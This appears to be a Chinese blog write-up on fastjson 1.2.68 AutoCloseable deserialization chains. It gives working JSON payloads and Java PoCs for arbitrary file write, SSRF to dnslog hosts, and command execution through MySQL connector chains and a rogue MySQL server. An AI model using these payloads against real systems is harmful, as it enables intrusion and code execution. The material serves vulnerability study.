{"stream": {"@type": "java.lang.AutoCloseable","@type": 'java.io.FileOutputStream',"file": 'D:/test.txt',"append":false     },"writer": {"@type": "java.lang.AutoCloseable","@type": "com.esotericsoftware.kryo.io.Output","buffer": "cHduZWQ=","outputStream": {"$ref": "$.stream"},"position": 5},"close": {"@type": "java.lang.AutoCloseable","@type": "sun.rmi.server.MarshalOutputStream","out": {"$ref": "$.writer"},"protocolVersion":1}
}

其本质的执行原理都是一样的

Mysql利用

JDBC4Connection

Mysql connector 5.1.x 版本

JDBC4Connection其实是用来简化jdbc的开发流程的,之前需要Class.forName 获得驱动类,再去连接,用JDBC4Connection不再需要显示调用Class.forName,而且他会自动关闭连接,这就意味着它继承了AutoCloseable

image-20250328095109480

导入依赖看一下这个类的构造方法

<dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><version>5.1.11</version>
</dependency>

看到它会调用super的构造方法

image-20250328090448823

super就是com.mysql.jdbc.ConnectionImpl , 他的构造方法调用 createNewIO()

image-20250328095356671

createNewIO() 创建com.mysql.jdbc.MysqlIO,尝试建立连接

image-20250328095622119

看到最终调用了connect

image-20250328095711175

我们来看一个最简单的SSRF利用测试

package com.lingx5;import com.mysql.jdbc.JDBC4Connection;import java.sql.SQLException;
import java.util.Properties;public class JDBCTest {public static void main(String[] args) {String host = "gmgfoo.dnslog.cn";int port = 3306;Properties info  = new Properties();info.setProperty("user", "root");info.setProperty("password", "root");info.setProperty("NUM_HOSTS", "");try {JDBC4Connection jdbc4Connection = new JDBC4Connection(host, port,info,"lingx5","");} catch (SQLException e) {e.printStackTrace();}}
}

image-20250328101340284

这就说明我们用 JDBC4Connection的构造方法 是可以发送请求的,而我们就可以用利用这一特性在fastjson中实现SSRF

SSRF
{"@type": "java.lang.AutoCloseable","@type": "com.mysql.jdbc.JDBC4Connection","hostToConnectTo": "kx97t6.dnslog.cn","portToConnectTo": 3306,"info": {"user": "root","password": "root","NUM_HOSTS": "1"},"databaseToConnectTo": "lingx5","url": ""
}

JDBCssrf

package com.lingx5.poc;import com.alibaba.fastjson.JSON;public class JDBCssrf {public static void main(String[] args) {String payload = "{\n" +"  \"@type\": \"java.lang.AutoCloseable\",\n" +"  \"@type\": 'com.mysql.jdbc.JDBC4Connection',\n" +"  \"hostToConnectTo\": \"kx97t6.dnslog.cn\",\n" +"  \"portToConnectTo\": 3306,\n" +"  \"info\": {\n" +"    \"user\": \"root\",\n" +"    \"password\": \"root\",\n" +"    \"NUM_HOSTS\": \"1\"\n" +"  },\n" +"  \"databaseToConnectTo\": \"lingx5\",\n" +"  \"url\": \"\"\n" +"}";JSON.parse(payload);}
}

image-20250328101945811

既然可以发送mysql的连接请求,结合Mysql的反序列化的gadget,可以实现命令执行

反序列化

我们在研究JNDI的时候 讨论过mysql的反序列化,可以去看 这部分内容

我们用工具开启一个恶意的mysql服务器

image-20250328102658940

生成的POC

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc

我们把对应的属性添加进去

package com.lingx5.poc;import com.alibaba.fastjson.JSON;public class JDBCDeser {public static void main(String[] args) {String payload = "{\n" +"  \"@type\": \"java.lang.AutoCloseable\",\n" +"  \"@type\": 'com.mysql.jdbc.JDBC4Connection',\n" +"  \"hostToConnectTo\": \"localhost\",\n" +"  \"portToConnectTo\": 3306,\n" +"  \"info\": {\n" +"    \"user\": \"deser_CC31_calc\",\n" +"    \"password\": \"root\",\n" +"    \"statementInterceptors\":'com.mysql.jdbc.interceptors" +".ServerStatusDiffInterceptor',\n" +"    \"autoDeserialize\": \"true\",\n" +"    \"NUM_HOSTS\": \"1\"\n" +"  },\n" +"  \"databaseToConnectTo\": \"test\",\n" +"  \"url\": \"\"\n" +"}";JSON.parse(payload);}
}

image-20250328103424127

LoadBalancedMySQLConnection

适用版本6.0.2/6.0.3

LoadBalancedMySQLConnection这个类的构造方法只需要一个 url 就可以发送mysql的连接请求

public LoadBalancedMySQLConnection(LoadBalancedConnectionProxy proxy) {super(proxy);
}

LoadBalancedConnectionProxy 在初始化的时候,会去调用 pickNewConnection() 方法,最终调用到 com.mysql.cj.mysqla.MysqlaSession#connect 创建mysql连接

image-20250328122856997

jdbc6Deser

package com.lingx5.poc;import com.alibaba.fastjson.JSON;public class jdbc6Deser {public static void main(String[] args) {String payload = "\n" +"{\n" +"       \"@type\":\"java.lang.AutoCloseable\",\n" +"       \"@type\":\"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection\",\n" +"       \"proxy\": {\n" +"              \"connectionString\":{\n" +"                     \"url\":\"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc\"\n" +"              }\n" +"       }\n" +"}";JSON.parse(payload);}
}

创建连接的调用栈

image-20250328123337617

复制出来 看一下

connect:149, MysqlaSession (com.mysql.cj.mysqla)
connectOneTryOnly:1803, ConnectionImpl (com.mysql.cj.jdbc)
createNewIO:1673, ConnectionImpl (com.mysql.cj.jdbc)
<init>:656, ConnectionImpl (com.mysql.cj.jdbc)
getInstance:349, ConnectionImpl (com.mysql.cj.jdbc)
createConnectionForHost:329, MultiHostConnectionProxy (com.mysql.cj.jdbc.ha)
createConnectionForHost:374, LoadBalancedConnectionProxy (com.mysql.cj.jdbc.ha)
pickConnection:80, RandomBalanceStrategy (com.mysql.cj.jdbc.ha)
pickNewConnection:318, LoadBalancedConnectionProxy (com.mysql.cj.jdbc.ha)
<init>:227, LoadBalancedConnectionProxy (com.mysql.cj.jdbc.ha)

成功执行

image-20250328123434401

ReplicationMySQLConnection

适用版本 8.0.19

 "@type":"java.lang.AutoCloseable","@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection","proxy": {"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy","connectionUrl":{"@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl","masters":[{"host":""}],"slaves":[],"properties":{"host":"127.0.0.1","user":"deser_CC31_calc","dbname":"dbname","password":"pass","queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"}}}
}

image-20250328125244146

这条链能够反序列化的只有8.0.19这一个小版本,因为LoadBalancedConnectionProxy的构造参数略有改变

参考文章

fastjson 1.2.68 bypass autotype - Y4er 的博客

浅析 Fastjson1.2.62-1.2.68 反序列化漏洞-安全 KER - 安全资讯平台

Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析 | 长亭百川云

https://blog.csdn.net/weixin_39555624/article/details/117820779(这篇文章主要是 fastjson 的特性)

[fastjson 1.2.68 漏洞分析](https://blog.ninefiger.top/2022/11/11/fastjson 1.2.68漏洞分析/)

关于 blackhat2021 披露的 fastjson1.2.68 链

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/907092.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【日记】感觉沉着冷静是很难得的品质(1200 字)

正文今天不太忙。居然看了一半时间的书,而且居然从零看了一半多了。昨天晚上,一个偶然的原因,看了六层楼跟别人聊天的视频。其实上班之后已经蛮久都没有看他了,时间真的很稀缺。视频中提到了他写的书。他本身表达能力就很好,我想着书应该也不差,就下了一本电子版。刚开始…

Supergateway:MCP服务器的远程调试与集成工具

Supergateway 是一款专为 MCP(Model Context Protocol)服务器设计的远程调试与集成工具,通过 SSE(Server-Sent Events)或 WebSocket(WS)协议实现基于 stdio 的服务器与客户端的高效通信。以下是其核心功能及使用场景的详细解析:核心功能多协议支持支持 SSE 和 WebSocke…

怎么办?听说Windows远程桌面要撤销?解决办法还真有!

3月11日微软正式宣布,将在2025年5月27日关闭并从Microsoft Store中移除Windows远程桌面应用程序,用户将无法通过旧版远程桌面访问这些功能。微软公司此次决定下架Microsoft远程桌面应用,主要是为了推广功能更为强大的Windows App,这种23年上线的解决方案提供了更加统一的界…

电脑文件同步软件,想要备份电脑文方法有哪些?

备份电脑文件的方法有多种,可根据需求选择适合的方案。以下是常见的备份方式及工具推荐,涵盖不同场景:一、使用系统内置工具 Windows 文件历史记录 方法: 连接外部硬盘或网络驱动器。 搜索「文件历史记录」→ 选择驱动器 → 开启自动备份。 可设置备份频率(如每小时)。 二…

我的家庭实验室服务器集群硬件清单

概述 之前有热心读者想要了解我的家庭实验室服务器集群的硬件配置清单. 所以有这篇文章.📝声明: 不是广告, 不是推广, 不是软广.先放2张照片:📝声明: 确实没有理线天赋, 这已经是我理线的极限了, 求轻喷.😂硬件包括:网络一图左下亮绿光的: 瑞莎 Radxa E20C 一图中下: 兮克…

python+pytest+loguru+allure日志封装

一、日志类封装from io import StringIO import sys import os from loguru import logger sys.path.append((os.path.abspath(os.path.join(os.path.dirname(__file__), ../)))) project_path = os.path.dirname(os.path.join(os.path.dirname(__file__))) log_path = os.path…

瑞芯微嵌入式方案概述

瑞芯微(Rockchip)是一家专注于高性能、低功耗芯片设计的中国半导体公司,其嵌入式解决方案广泛应用于智能终端、物联网、工业控制、多媒体处理等领域。以下是瑞芯微嵌入式方案的核心特点、典型应用及开发资源的总结: 一、瑞芯微嵌入式处理器系列 瑞芯微的芯片基于ARM架构,覆…

ggplot2中绘制渐变色的散点图

001、library(ggplot2)data <- data.frame(x = rnorm(100), y = rnorm(100) )ggplot(data, aes(x = x, y = y, color = y)) +geom_point(size = 3) +scale_color_gradient(low = "blue", high = "red") 。

raid级别、存储连接方式

硬盘越大,一搬转速越慢。还有看高速缓存 磁盘阵列能够容纳多少块硬盘 绝对磁盘存储柜的最大存储空间 raid提高吞吐量,保护数据 磁盘阵列柜支持哪些raid级别 raid卡上有缓存 数据先写到磁盘阵列的控制卡,再写到硬盘上 所以如果磁盘阵列卡如果断掉会导致数据丢失,一般磁盘阵列…

根据 2025 年全国青少年信息素养大赛官方通知:算法创意实践挑战赛(C++ 语言)小学组

根据 2025 年全国青少年信息素养大赛官方通知,算法创意实践挑战赛(C++ 语言)小学组的报名时间和考试时间安排如下: 报名时间 2025 年 1 月 10 日至 2025 年 4 月 22 日(具体截止时间以官方报名平台显示为准)。 考试时间初赛:2025 年 5 月(具体日期待定,需关注赛前通知…

众为兴机器人常用技巧

管理员密码 26722719 干涉空间信号设置系统信号配置

R语言中ggplot绘图去除灰色背景并保留外围框线

001、R语言中ggplot绘图去除灰色背景并保留外围框线library(ggplot2)data <- data.frame(x = rnorm(10),y = rnorm(10) )ggplot(data, aes(x = x, y = y)) +geom_point() +theme(panel.background = element_blank(), ## 去除灰色背景axis.line = element_line(colou…